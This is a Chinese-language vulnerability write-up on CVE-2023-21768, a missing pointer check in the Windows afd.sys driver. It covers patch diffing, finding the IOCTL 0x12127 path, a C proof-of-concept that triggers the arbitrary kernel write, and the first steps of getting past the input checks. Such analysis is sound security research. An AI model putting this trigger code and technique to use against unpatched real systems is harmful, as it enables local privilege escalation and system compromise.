根据 Microsoft Security Response Center (MSRC) 发布的 CVE-2023-21768 详细描述,该漏洞存在于 Ancillary Function Driver (AFD) 中,其在系统中的文件名为 afd.sys。AFD 模块是 WinSock API 的内核入口点。在本文分析中,我将利用它在 Windows 11 上进行本地权限提升(LPE)。
从 Winbindex 下载两个版本的 afd.sys,一个是最接近修复前的版本,另一个是修复后的版本。然后使用 Bindiff 对这两个版本进行比较。

对两个版本进行总体比较,可以看到只有一个函数存在差异,即 AfdNotifyRemoveIoCompletion。更详细地查看该函数在两个版本之间的差异。

两个版本之间没有太多差异。在修复后版本中,新增了一些汇编指令用于设置参数并调用 ProbeForWrite 函数。根据微软的文档,该函数用于检查某个地址是否真正属于用户模式、是否具有写权限以及是否正确对齐。更详细地分析这段代码:
afd.sys version 10.0.22621.608

-修复后 afd.sys version 10.0.22621.1105

两者都会检查 r15_1 的值,如果为 0,则将 var_304 的值写入 struct_1 中某个字段所指定的指针。如果不为 0,则会调用 ProbeForWrite 以确保指针指向有效地址。在修复前版本中,后续直接将 var_304 的值写入该指针,缺少了这一检查。从该补丁可以推断,我们可以在可控 arg3_1->field_18 值的情况下调用这段代码。如果能在 field_18 中设置一个内核地址值,就可以将 var_304 写入内核内存地址。
=> 漏洞类型:任意内核 Write-Where
现在需要找到触发该漏洞的方法。AfdNotifyRemoveIoCompletion 函数在 AfdNotifySock 函数中被直接调用。

类似地,查找 AfdNotifySock 的交叉引用可以发现,它没有被任何其他函数直接调用,但函数地址被存储在 .rdata 中的某个地址处。

该地址紧邻 AfdIrpCallDispatch 之前。

为了触发该漏洞,我将使用 IOCTL_AFD_NOTIFY_SOCK 调用 DeviceIoControl,这样 AfdNotifySock 就会被调用。
BOOL DeviceIoControl(
[in] HANDLE hDevice,
[in] DWORD dwIoControlCode,
[in, optional] LPVOID lpInBuffer,
[in] DWORD nInBufferSize,
[out, optional] LPVOID lpOutBuffer,
[in] DWORD nOutBufferSize,
[out, optional] LPDWORD lpBytesReturned,
[in, out, optional] LPOVERLAPPED lpOverlapped
);
每个驱动都会在内核中创建一个 DRIVER_OBJECT 对象,其定义如下:
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;
最后一个成员 MajorFunction 是一个数组,包含驱动程序用于处理内核与用户模式之间通信的 dispatch 函数。与调用 DeviceIoControl 相对应的 dispatch 函数存储在 MajorFunction[IRP_MJ_DEVICE_CONTROL] 中。
#define IRP_MJ_DEVICE_CONTROL 0x0e
从 afd.sys 的 DriverEntry 函数中,我们可以看到驱动程序创建了设备对象 "\Device\Afd":

将 MajorFunction[IRP_MJ_DEVICE_CONTROL] 设置为 AfdDispatchDeviceControl,因此当调用 DeviceIoControl 与内核通信时,将调用该函数。

在 AFD 中有两个 dispatch 表:AfdIrpCallDispatch 和 AfdImmediateCallDispatch。

可以很容易地看到,AfdDispatchDeviceIoControl 通过 IoControlCode 计算下标,并从 AfdIoctlTable 中取出对应下标的值,与 IoControlCode 进行校验。

根据 AfdImmediateCallDispatch 起始地址与存储 AfdNotifySock 的地址之间的距离,可以计算出 index 为 73,对应的 control code 为 0x12127。

int main() {
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN sa;
int ierr;
WSAStartup(0x2, &WSAData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa, 0, sizeof(sa));
sa.sin_port = htons(135);
sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sa.sin_family = AF_INET;
ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
char outBuf[100];
DWORD bytesRet;
DWORD inbuf1[100];
memset(inbuf1, 0, sizeof(inbuf1));
DeviceIoControl((HANDLE)s, 0x12127, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);
return 0;
}
成功触发!

正如开头所说,当我们可以通过一个 struct 传入未经校验的指针时,漏洞就会发生。该 struct 通过 DeviceIoControl 的 lpInBuffer 直接从用户模式传入,然后作为第 4 个参数传入 AfdNotifySock,再作为第 3 个参数传入 AfdNotifyRemoveIoCompletion。

由于还不知道 struct 包含什么内容,我让 IDA 自动创建 struct。现在需要找到向该 struct 传入数据并绕过必要检查以到达漏洞代码段的方法。从 AfdNotifySock 函数开始:

首先,struct 的大小必须等于 0x30 字节。

以下值必须非 0:

另外,调试时我发现它会在前面的 UserBuffer 检查处跳转到失败分支,因此在调用 DeviceIoControl 时应将该值设为 NULL。设置上述值之后,我就通过了 check2 后面的检查。

下一个需要绕过的检查:

ObReferenceObjectByHandle 必须返回 STATUS_SUCCESS 才能通过这项检查。也就是说,我必须传入一个有效的句柄。我尝试搜索,没有找到任何关于如何创建 IoCompletionObjectType 的说明。于是按照分析文章 https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/ 来做。使用 NtCreateIoCompletion 函数创建一个 IoCompletionObjectType,并将其句柄传给 ObReferenceObjectByHandle。